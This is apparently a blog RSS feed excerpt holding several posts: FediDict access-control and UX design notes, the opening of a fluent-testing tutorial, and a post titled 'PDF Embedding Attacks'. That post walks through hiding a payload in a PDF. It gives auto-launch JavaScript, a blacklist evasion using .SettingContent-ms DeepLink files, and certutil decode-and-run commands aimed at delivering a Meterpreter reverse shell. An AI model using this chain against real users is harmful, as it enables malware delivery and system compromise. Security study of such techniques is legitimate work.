&lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;02358&lt;/td&gt;&#xA;          &lt;td&gt;null&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;83950&lt;/td&gt;&#xA;          &lt;td&gt;null&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;22741&lt;/td&gt;&#xA;          &lt;td&gt;null&lt;/td&gt;&#xA;          &lt;td&gt;null&lt;/td&gt;&#xA;          &lt;td&gt;null&lt;/td&gt;&#xA;          &lt;td&gt;null&lt;/td&gt;&#xA;          &lt;td&gt;null&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Here, some roles have explicit values and some do not. For instance, entry 83950&#xA;(associated with UID 87, user &lt;code&gt;chuges&lt;/code&gt;) has no explicit value (&lt;code&gt;null&lt;/code&gt;) for&#xA;&lt;strong&gt;definition-reader&lt;/strong&gt; and explicit values for all the other fields, while entry 22741&#xA;(associated with UID 34, user &lt;code&gt;djanes&lt;/code&gt;) has default values everywhere.&lt;/p&gt;&#xA;&lt;p&gt;This is valuable because, if a problem with the default settings is discovered, it would&#xA;be quite difficult to set the roles for every user created before that point. With this&#xA;system, values are only non-&lt;code&gt;null&lt;/code&gt; if they have been explicitly set; null values resolve&#xA;to defaults set elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;This approach also provides the flexibility I was looking for. If I decide to trust&#xA;&lt;code&gt;djanes&lt;/code&gt; with creating accounts but not, say, approving new definitions, I need only&#xA;change the &lt;code&gt;account-creator&lt;/code&gt; column of the Roles table to &lt;code&gt;yes&lt;/code&gt; (or &lt;code&gt;true&lt;/code&gt;, or however&#xA;the database stores Boolean values) and that account can now create new accounts.&lt;/p&gt;&#xA;&lt;p&gt;There is a major issue with this model, however. It does not have a good way to handle&#xA;access control for users with no identity, or with an identity I don&amp;rsquo;t know about until&#xA;they first interact with us over a federation protocol.&lt;/p&gt;&#xA;&lt;h2 id=&#34;anonymous-identity&#34;&gt;Anonymous Identity&lt;/h2&gt;&#xA;&lt;p&gt;Anonymous users - those interacting through an unauthenticated web interface and without&#xA;identity provided by a federation partner - are actually pretty easy to handle. I already&#xA;laid out the need for default permissions for logged-in users, so I can just add another&#xA;set of defaults for not-logged-in users (probably just &lt;strong&gt;DefinitionReader&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;h2 id=&#34;new-introductions&#34;&gt;New Introductions&lt;/h2&gt;&#xA;&lt;p&gt;Like other federated systems (such as e-mail), an ActivityPub identity is determined by&#xA;both a username (like &lt;code&gt;ltindall&lt;/code&gt;) and a domain (for instance, &lt;code&gt;nora.codes&lt;/code&gt;). Assuming&#xA;I hosted a FediDict instance on &lt;code&gt;computerjargon.online&lt;/code&gt; with the user accounts shown&#xA;above, their full federated usernames would be &lt;code&gt;ltindall@computerjargon.online&lt;/code&gt;,&#xA;&lt;code&gt;chughes@computerjargon.online&lt;/code&gt;, and &lt;code&gt;djanes@computerjargon.online&lt;/code&gt;. These are identities&#xA;ComputerJargon.Online already knows about, but the system could get a &amp;ldquo;like&amp;rdquo; from a user on&#xA;another ActivityPub-supporting instance at any time.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s say Eugen, creator of Mastodon, follows the definitions created by users of&#xA;ComputerJargon.Online and sees a definition he really likes. He could click the &amp;ldquo;like&amp;rdquo;&#xA;button in the Mastodon UI, which would eventually notify FediDict that a like had been&#xA;sent by &lt;code&gt;gargron@mastodon.social&lt;/code&gt;. Assuming ComputerJargon.Online had never interacted&#xA;with Eugen before, he would not have an account in the ComputerJargon.Online database.&#xA;So, how does FediDict determine his access rights?&lt;/p&gt;&#xA;&lt;p&gt;Defaults come to the rescue again. With a set of defined defaults for accounts coming in&#xA;from federation partners, FediDict simply has to create a new record for Eugen&amp;rsquo;s account&#xA;in the accounts table (noting its remote origin) with a null access control row, giving&#xA;it default values for remote accounts.&lt;/p&gt;&#xA;&lt;h1 id=&#34;a-holistic-view&#34;&gt;A Holistic View&lt;/h1&gt;&#xA;&lt;p&gt;These considerations alone are not enough to make a system secure, but with good underlying&#xA;technologies and a solid access control model, which I&amp;rsquo;ll refine in future posts and as&#xA;I begin to write more code, it should be easy to keep egregious bugs out and fix and issues&#xA;that do make it into the codebase.&lt;/p&gt;&#xA;&lt;p&gt;Security comes in layers, and this post has laid out a few of them: one at the very bottom,&#xA;the language and underlying technology used to build the system, and one near the top, the&#xA;access control model. I can fill in the rest as time goes on.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>FediDict UX Design, Part 1</title>
      <link>https://nora.codes/post/fedidict_ux_design_part_1/</link>
      <pubDate>Thu, 23 Aug 2018 18:04:14 +0000</pubDate>
      <guid>https://nora.codes/post/fedidict_ux_design_part_1/</guid>
      <description>&lt;p&gt;&lt;em&gt;This is the first of several posts on the design of my current ActivityPub-enabled&#xA;Rust web application, FediDict. Each of these posts was be released to my Patreon&#xA;patrons before being made publicly available.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;FediDict, a portmanteau of Federated and Dictionary, is my current open source project.&#xA;Most of the time, I&amp;rsquo;ve taken the approach of &amp;ldquo;dive in and write some code; the design&#xA;will shake itself out&amp;rdquo;. This isn&amp;rsquo;t a great idea for something I want to be widely&#xA;adopted, so I took a different approach for this project.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;em&gt;This is the first of several posts on the design of my current ActivityPub-enabled&#xA;Rust web application, FediDict. Each of these posts was be released to my Patreon&#xA;patrons before being made publicly available.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;FediDict, a portmanteau of Federated and Dictionary, is my current open source project.&#xA;Most of the time, I&amp;rsquo;ve taken the approach of &amp;ldquo;dive in and write some code; the design&#xA;will shake itself out&amp;rdquo;. This isn&amp;rsquo;t a great idea for something I want to be widely&#xA;adopted, so I took a different approach for this project.&lt;/p&gt;&#xA;&lt;p&gt;I do have some code written - mostly dealing with Diesel and the database, as well as&#xA;simple HTTP server boilerplate - but I have yet to work on the meat of the application.&#xA;In this series, I&amp;rsquo;ll walk through some of the design work.&lt;/p&gt;&#xA;&lt;h1 id=&#34;what-does-it-do&#34;&gt;What does it do?&lt;/h1&gt;&#xA;&lt;p&gt;FediDict lets people define jargon that they know and look up jargon that they don&amp;rsquo;t, and&#xA;share those definitions between disciplines and across the web.&lt;/p&gt;&#xA;&lt;p&gt;&amp;lsquo;Jargon&amp;rsquo; is an important word here; I want FediDict to help people who are reading a text&#xA;from a specific discipline find out the meaning of words they don&amp;rsquo;t know, and get some&#xA;context on those words in other disciplines as well.&lt;/p&gt;&#xA;&lt;p&gt;While the word &amp;ldquo;proband&amp;rdquo; probably only has meaning in the medical community, something&#xA;like &amp;ldquo;stall&amp;rdquo; means one thing in aviation and another in automotive repair.&#xA;Some words, like &amp;ldquo;&lt;a href=&#34;https://en.wikipedia.org/wiki/Normal&#34;&gt;normal&lt;/a&gt;&amp;rdquo;, are so overloaded as&#xA;to have multiple meanings in multiple fields. Wikipedia alone lists six in psychology,&#xA;one in chemistry, two in physics, and upwards of 25 in various fields of mathematics,&#xA;including linear algebra, geometry, and statistics!&lt;/p&gt;&#xA;&lt;p&gt;Such words can be confusing if misinterpreted, so I&amp;rsquo;d like each instance of FediDict to&#xA;connect to others. That way, they can send definitions around, with attribution, so&#xA;that each FediDict instance has access to the whole corpus of information while making it&#xA;clear where each definition comes from.&lt;/p&gt;&#xA;&lt;h1 id=&#34;seeking-knowledge&#34;&gt;Seeking Knowledge&lt;/h1&gt;&#xA;&lt;h2 id=&#34;the-guest&#34;&gt;The Guest&lt;/h2&gt;&#xA;&lt;p&gt;A guest coming to the FediDict site just wants to know a specific piece of information.&#xA;Let&amp;rsquo;s imagine that I host &amp;ldquo;computerjargon.online&amp;rdquo; and that Danielle A. Hacker wants to&#xA;know what a &amp;ldquo;PIC&amp;rdquo; is. She knows that computerjargon.online is the place to be to learn&#xA;about computer jargon, so she enters that URL.&lt;/p&gt;&#xA;&lt;p&gt;My top priority here is to get out of her way and let her get the info she needs. She&#xA;needs to have a big search bar, front and center, where she can start typing the word&#xA;she wants to define, so we need a distraction-free home page with search bar.&lt;/p&gt;&#xA;&lt;p&gt;While she&amp;rsquo;s typing, she might wonder if the ComputerJargon FediDict instance even has&#xA;the definition for &amp;ldquo;PIC&amp;rdquo;. To reassure her, and to make typing long terms (or terms a&#xA;user doesn&amp;rsquo;t fully know how to spell) easier, it would be great to have some kind of&#xA;typeahead for terms the FediDict instance already knows.&lt;/p&gt;&#xA;&lt;p&gt;Once the term is entered, FediDict needs to search the database for all the terms&#xA;matching the search, and display them.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s also important to have some way to order these terms. In order to maintain relevance,&#xA;the terms from the instance the user actually searched on should come first. In addition,&#xA;there should be some mechanism for determining whether or not a given definition is&#xA;accurate and relevant. For now, that&amp;rsquo;s the &amp;ldquo;score&amp;rdquo;; manipulating it comes later.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-member&#34;&gt;The Member&lt;/h2&gt;&#xA;&lt;p&gt;Imagine that another person, Jake P. Grammer, wants to look up the same information.&#xA;He has a good idea that a &amp;ldquo;PIC&amp;rdquo; is a programmable &lt;em&gt;something&lt;/em&gt;, but he isn&amp;rsquo;t sure what.&#xA;He goes through basically the same workflow as Danielle the guest, but with two pre-&#xA;conditions: he&amp;rsquo;s made an account, been approved by the moderation team, and signed in.&lt;/p&gt;&#xA;&lt;p&gt;He navigates to computerjargon.online, enters &amp;ldquo;PIC&amp;rdquo; in the search bar, and gets a list&#xA;of results, sorted as mentioned above. Unlike Danielle, however, he has the option to&#xA;voice his opinion on the relevance of the results. Let&amp;rsquo;s say the results are as follows.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;PIC&lt;/strong&gt;, &lt;em&gt;n.&lt;/em&gt;, by duck3345&lt;/p&gt;&#xA;&lt;p&gt;A PIC, or photonic integrated circuit, is an electronic component&#xA;which uses light rather than electricity for its internal operation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;PIC&lt;/strong&gt;, &lt;em&gt;n.&lt;/em&gt;, by user123&lt;/p&gt;&#xA;&lt;p&gt;A PIC, standing for programmable interrupt controller, is a component&#xA;of a computer which does x, y, z, and q, and blah blah.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;PIC&lt;/strong&gt;, &lt;em&gt;n.&lt;/em&gt;, by farmer1372&lt;/p&gt;&#xA;&lt;p&gt;PIC, particulate inorganic carbon, is some chemistry thing that Nora&#xA;doesn&amp;rsquo;t know about, but it&amp;rsquo;s certainly not relevant to&#xA;ComputerJargon.online&amp;rsquo;s database.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The first definition is totally irrelevant to Jake, but he doesn&amp;rsquo;t know if it&amp;rsquo;s wrong, and&#xA;it doesn&amp;rsquo;t break any rules. He does, however, know that the entry by user123 on&#xA;programmable interface controllers is relevant to his needs. He should be able to signal&#xA;this by liking the definition. This action is associated with his account and increments&#xA;the score of the post.&lt;/p&gt;&#xA;&lt;p&gt;The third definition might also catch his eye. It makes no sense to have a chemistry term&#xA;on the ComputerJargon database, and Jake wants to help out the site by making the&#xA;moderator team aware of this. He should be able to do that by reporting the definition,&#xA;another action associated with his account. It will reduce the score of the definition,&#xA;as well as sending a message of his choosing to the moderators of the site.&lt;/p&gt;&#xA;&lt;p&gt;Jake has successfully gotten the information he needs, and has contributed some&#xA;contextual information back to the site. As more and more users use the site and look up&#xA;&amp;ldquo;PIC&amp;rdquo;, the most domain-relevant information will be liked most often and will drift&#xA;to the top of the list, while lesser-used information will drift downwards and totally&#xA;irrelevant information (and downright rule-breaking) can be deleted by moderators after&#xA;being reported.&lt;/p&gt;&#xA;&lt;h1 id=&#34;sharing-knowledge&#34;&gt;Sharing Knowledge&lt;/h1&gt;&#xA;&lt;p&gt;Perhaps another user of the site, Eric D. Velopoer, just attended a seminar on frobnitzem&#xA;and wants to make sure that everyone knowns the definition of &amp;ldquo;frobnicate&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;He follows the basic flow of the other users to determine whether or not the&#xA;definition already exists in the database. In this case, it doesn&amp;rsquo;t exist in the&#xA;ComputerJargon database, but it might exist on other instances. Whether or not it does,&#xA;the result of the search is clear.&lt;/p&gt;&#xA;&lt;p&gt;Once he has found that the definition doesn&amp;rsquo;t exist, Eric has a clear path to&#xA;create a new definition.&#xA;(He also has the option to add a new definition for which terms already exist.)&lt;/p&gt;&#xA;&lt;p&gt;Note that I deliberately do &lt;em&gt;not&lt;/em&gt; want people to be able to add definitions without&#xA;searching for them first, because that is likely to lead to duplication.&lt;/p&gt;&#xA;&lt;p&gt;Once Eric has decided to add a new definition, he&amp;rsquo;s presented with a form to&#xA;add the definition. It has a prefilled, uneditable entry with the term being defined,&#xA;a dropdown for part of speech (verb, noun, etc), and a large text box for the definition.&lt;/p&gt;&#xA;&lt;p&gt;It might also be useful to provide a way to enter related terms or &amp;ldquo;see also&amp;quot;s for a&#xA;definition. For instance, Eric might want to mention that &amp;ldquo;frobnicate&amp;rdquo; is related to&#xA;&amp;ldquo;frobnitz&amp;rdquo;, &amp;ldquo;twiddle&amp;rdquo;, and &amp;ldquo;tweak&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Eric&amp;rsquo;s definition might end up looking like this (from the Original Hacker&amp;rsquo;s Dictionary):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;frobnicate&lt;/strong&gt;, &lt;em&gt;v.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;To manipulate or adjust, to tweak. Derived from &amp;ldquo;frobnitz&amp;rdquo;.&#xA;Usually abbreviated to frob. Thus one has the saying &amp;ldquo;to frob a frob&amp;rdquo;.&#xA;&amp;ldquo;Frob&amp;rdquo;, &amp;ldquo;twiddle&amp;rdquo;, and &amp;ldquo;tweak&amp;rdquo; sometimes connote points along a continuum.&#xA;Frob connotes aimless manipulation; twiddle connotes gross manipulation,&#xA;often a coarse search for a proper setting; tweak connotes fine-tuning.&#xA;If someone is turning a knob on an oscilloscope, then if he&amp;rsquo;s carefully&#xA;adjusting it he is probably tweaking it; if he is just turning it but&#xA;looking at the screen he is probably twiddling it; but if he&amp;rsquo;s just doing&#xA;it because turning a knob is fun, he&amp;rsquo;s frobbing it.&lt;/p&gt;&#xA;&lt;p&gt;See also: frobnitz, tweak, twiddle.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That definition, once submitted, goes onto a moderation queue, so that the site&#xA;moderation team can decide whether or not to allow it to go public.&lt;/p&gt;&#xA;&lt;h1 id=&#34;next-steps&#34;&gt;Next Steps&lt;/h1&gt;&#xA;&lt;p&gt;These are the basic workflows for FediDict users - looking things up, giving feedback on&#xA;existing definitions, and submitting new definitions. In the next post, we&amp;rsquo;ll look at the&#xA;security aspect of design, including anti-abuse tooling.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>PDF Embedding Attacks</title>
      <link>https://nora.codes/post/pdf-embedding-attacks/</link>
      <pubDate>Sat, 04 Aug 2018 12:17:11 -0500</pubDate>
      <guid>https://nora.codes/post/pdf-embedding-attacks/</guid>
      <description>&lt;p&gt;PDF, or Portable Document Format, is an incredibly complex file format, governed by many&#xA;standards and semi-standards. Like HTML and CSS, it was primarily designed for document&#xA;layout and presentation. Also like HTML and CSS, it has been augmented with a JavaScript&#xA;engine and document API that allows programmers to turn PDF documents into applications -&#xA;or vehicles for malware.&lt;/p&gt;&#xA;&lt;h1 id=&#34;embedding-files-in-pdf-documents&#34;&gt;Embedding Files in PDF Documents&lt;/h1&gt;&#xA;&lt;p&gt;It&amp;rsquo;s very easy to embed any kind of file in a PDF document. Every document includes the&#xA;&lt;code&gt;EmbeddedFiles&lt;/code&gt; name tree, along with support for collections of files, known as&#xA;portfolios.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;PDF, or Portable Document Format, is an incredibly complex file format, governed by many&#xA;standards and semi-standards. Like HTML and CSS, it was primarily designed for document&#xA;layout and presentation. Also like HTML and CSS, it has been augmented with a JavaScript&#xA;engine and document API that allows programmers to turn PDF documents into applications -&#xA;or vehicles for malware.&lt;/p&gt;&#xA;&lt;h1 id=&#34;embedding-files-in-pdf-documents&#34;&gt;Embedding Files in PDF Documents&lt;/h1&gt;&#xA;&lt;p&gt;It&amp;rsquo;s very easy to embed any kind of file in a PDF document. Every document includes the&#xA;&lt;code&gt;EmbeddedFiles&lt;/code&gt; name tree, along with support for collections of files, known as&#xA;portfolios.&lt;/p&gt;&#xA;&lt;p&gt;Most PDF libraries provide support for this; we&amp;rsquo;ll examine PyPDF2, which supports&#xA;everything we need and is pure Python.&lt;/p&gt;&#xA;&lt;p&gt;PyPDF2&amp;rsquo;s &lt;code&gt;PdfFileWriter&lt;/code&gt; provides a method called &lt;code&gt;addAttachment&lt;/code&gt; which takes a name&#xA;and some bytes and embeds them as a file in the PDF (&lt;a href=&#34;https://pythonhosted.org/PyPDF2/PdfFileWriter.html?highlight=embed&#34;&gt;docs&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;This is how malware is usually concealed in a PDF document - as an embedded file.&lt;/p&gt;&#xA;&lt;h1 id=&#34;opening-files-from-pdf-documents&#34;&gt;Opening Files from PDF Documents&lt;/h1&gt;&#xA;&lt;p&gt;Now that we have a payload embedded in a PDF document, we need to actually open it.&#xA;The basic method for this is to also embed a script in the PDF document. In our case, we&#xA;want to add a document level script. This script will execute as soon as the PDF is opened.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, PyPDF2 also supports this! We can simply add a JavaScript object with the&#xA;method &lt;code&gt;addJS&lt;/code&gt;, and that JavaScript will be registered to run on the PDF opening.&lt;/p&gt;&#xA;&lt;p&gt;Our JavaScript payload is pretty simple: we just add a single call to &lt;code&gt;exportDataObject&lt;/code&gt;,&#xA;a function provided by the PDF reader. This function takes an object with 2 parameters:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;cName&lt;/code&gt;, the name of the embedded object, and&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;nLaunch&lt;/code&gt;, an instruction as to what the PDF reader should do with the exported object&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;code&gt;nLaunch&lt;/code&gt; is just an integer, and it has three valid values:&lt;/p&gt;&#xA;&lt;ol start=&#34;0&#34;&gt;&#xA;&lt;li&gt;Prompt the user for a path and save the file there&lt;/li&gt;&#xA;&lt;li&gt;Prompt the user for a path, save the file, and ask the operating system to open it&lt;/li&gt;&#xA;&lt;li&gt;Pick a temporary location, save the file there, and ask the operating system to open it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;That last option sounds great for malware. Assuming we embedded a file called&#xA;&lt;code&gt;myExploit.exe&lt;/code&gt;, we would add the following JavaScript:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;this&lt;/span&gt;.exportDataObject({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cName: &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;myExploit.exe&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    nLaunch: &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and it would run as soon as the PDF was opened, right? Well, not quite. Unfortunately,&#xA;there&amp;rsquo;s a bit more to it; Adobe Reader (and most other readers) will prevent the launch&#xA;of common executable files. For example, &lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.vba&lt;/code&gt;, and &lt;code&gt;.bat&lt;/code&gt; files cannot&#xA;be opened.&lt;/p&gt;&#xA;&lt;h1 id=&#34;evading-the-blacklist&#34;&gt;Evading the Blacklist&lt;/h1&gt;&#xA;&lt;p&gt;There are many ways to evade the blacklist, such as Microsoft Word documents with&#xA;malicious macros embedded in them (&lt;a href=&#34;https://isc.sans.edu/forums/diary/PDF+maldoc1+maldoc2/20079/%3CPaste%3E&#34;&gt;read more&lt;/a&gt;),&#xA;but recently, researchers discovered that another kind of file could be used:&#xA;&lt;code&gt;.SettingContent-ms&lt;/code&gt;. As explained by &lt;a href=&#34;https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39&#34;&gt;the SpecterOps team&lt;/a&gt;, these are just XML documents pointing to specific places in&#xA;the Windows 10 settings GUI. However, they contain a field called &lt;code&gt;DeepLink&lt;/code&gt; which can&#xA;contain any arbitrary executable which will be run when the &lt;code&gt;SettingsContent-ms&lt;/code&gt; file is&#xA;executed.&lt;/p&gt;&#xA;&lt;h1 id=&#34;deploying-a-payload&#34;&gt;Deploying a Payload&lt;/h1&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s bring this all together. How would we use this in a real attack?&lt;/p&gt;&#xA;&lt;p&gt;There are a few steps we need to perform in order to get this attack working.&lt;/p&gt;&#xA;&lt;h2 id=&#34;1-create-a-payload&#34;&gt;1: Create a Payload&lt;/h2&gt;&#xA;&lt;p&gt;There are many great ways of creating effective payloads. In this case, I&amp;rsquo;ll assume you&#xA;have a payload already; my payload of choice is a Meterpreter reverse shell encoded with&#xA;some type of cloaker.&lt;/p&gt;&#xA;&lt;h2 id=&#34;2-encode-the-payload-in-base64&#34;&gt;2: Encode the Payload in Base64&lt;/h2&gt;&#xA;&lt;p&gt;We can use &lt;code&gt;certutil.exe -encode InputFile EncodedFile&lt;/code&gt; on Windows or&#xA;&lt;code&gt;base64 input &amp;gt; output&lt;/code&gt; on Linux to encode and decode files with Base64. This will let&#xA;us more readily insert it where it is needed.&lt;/p&gt;&#xA;&lt;h2 id=&#34;3-embedded-files&#34;&gt;3: Embedded Files&lt;/h2&gt;&#xA;&lt;p&gt;We need to run 3 commands, so we&amp;rsquo;ll use the above method to embed three files. They will&#xA;all be valid &lt;code&gt;SettingContent-ms&lt;/code&gt; XML, differing only in the &lt;code&gt;DeepLink&lt;/code&gt; node.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;PutFile.SettingContent-ms&lt;/code&gt; which will &lt;code&gt;echo&lt;/code&gt; the Base64 encoded payload to disk at a&#xA;known path (&lt;code&gt;echo b46c827y... &amp;gt; %APPDATA%\evil.b64&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Decode.SettingContent-ms&lt;/code&gt; which will decode the Base64 encoded payload into an EXE (&#xA;&lt;code&gt;certutil -decode %APPDATA%\evil.b64 %APPDATA%\evil.exe&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Execute.SettingContent-ms&lt;/code&gt; which will actually run that file. (&lt;code&gt;%APPDATA%\evil.exe&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;4-scripts&#34;&gt;4: Scripts&lt;/h2&gt;&#xA;&lt;p&gt;Now, we need a single script which will run all of these:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;var&lt;/span&gt; files = [&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;PutFile&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Decode&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Execute&amp;#34;&lt;/span&gt;];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;var&lt;/span&gt; i = &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;; i &amp;lt; files.len; i++) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;this&lt;/span&gt;.exportDataObject({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;cName: files[i] + &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;.SettingContent-ms&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;nLaunch: &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;5-pwnage&#34;&gt;5: Pwnage!&lt;/h2&gt;&#xA;&lt;p&gt;Now we have our Metasploit payload running on the target! Congratulations, time to move&#xA;into post-exploitation.&lt;/p&gt;&#xA;&lt;h2 id=&#34;alternative-methods&#34;&gt;Alternative Methods&lt;/h2&gt;&#xA;&lt;p&gt;Another method would be to use Reflective PE Injection, converting a PowerShell process&#xA;into the process for our executable. To learn more about this, check out &lt;a href=&#34;https://truesecdev.wordpress.com/2016/03/15/embedding-exe-files-into-powershell-scripts/&#34;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;&#xA;&lt;p&gt;PDF files are extremely complex, and the applications that read them tend to be old and&#xA;full of cruft, designed without security in mind. A black-listing method will never be&#xA;effective in eliminating all dangerous files, as we can see here. This technique requires&#xA;no exploits; we just ask the OS to run a file for us and it does so!&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Building Readable Tests with Fluent Testing APIs</title>
      <link>https://nora.codes/tutorial/building-readable-tests-with-fluent-testing-apis/</link>
      <pubDate>Mon, 23 Jul 2018 09:56:24 -0500</pubDate>
      <guid>https://nora.codes/tutorial/building-readable-tests-with-fluent-testing-apis/</guid>
      <description>&lt;p&gt;One of the biggest challenges in software testing is defining the input for code under&#xA;test in a way that is expressive and powerful enough to test complex situations but&#xA;doesn’t distract from the intent of the test or clutter the test code to a degree that&#xA;makes it difficult to read.&lt;/p&gt;&#xA;&lt;p&gt;Many dynamic languages have testing APIs which take advantage of their looser and later&#xA;type checking to provide easy mocking and stubbing, but strict, statically typed&#xA;languages can make it difficult to build up suitable instances of the types needed in the&#xA;test. This is especially true with nested data.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;One of the biggest challenges in software testing is defining the input for code under&#xA;test in a way that is expressive and powerful enough to test complex situations but&#xA;doesn’t distract from the intent of the test or clutter the test code to a degree that&#xA;makes it difficult to read.&lt;/p&gt;&#xA;&lt;p&gt;Many dynamic languages have testing APIs which take advantage of their looser and later&#xA;type checking to provide easy mocking and stubbing, but strict, statically typed&#xA;languages can make it difficult to build up suitable instances of the types needed in the&#xA;test. This is especially true with nested data.&lt;/p&gt;&#xA;&lt;h2 id=&#34;motivation&#34;&gt;Motivation&lt;/h2&gt;&#xA;&lt;p&gt;At &lt;a href=&#34;https://canceriq.com&#34;&gt;CancerIQ&lt;/a&gt;, we have a large body of tests to ensure we correctly&#xA;implement our risk models. These tests are thorough and give us a high&#xA;confidence that new features or refactors aren’t breaking old&#xA;functionality.&lt;/p&gt;&#xA;&lt;p&gt;We do have one problem, however: fragility and verbosity. Our tests are&#xA;very complete but, until the changes described here, they didn’t&#xA;express what they were testing well, and they were very difficult 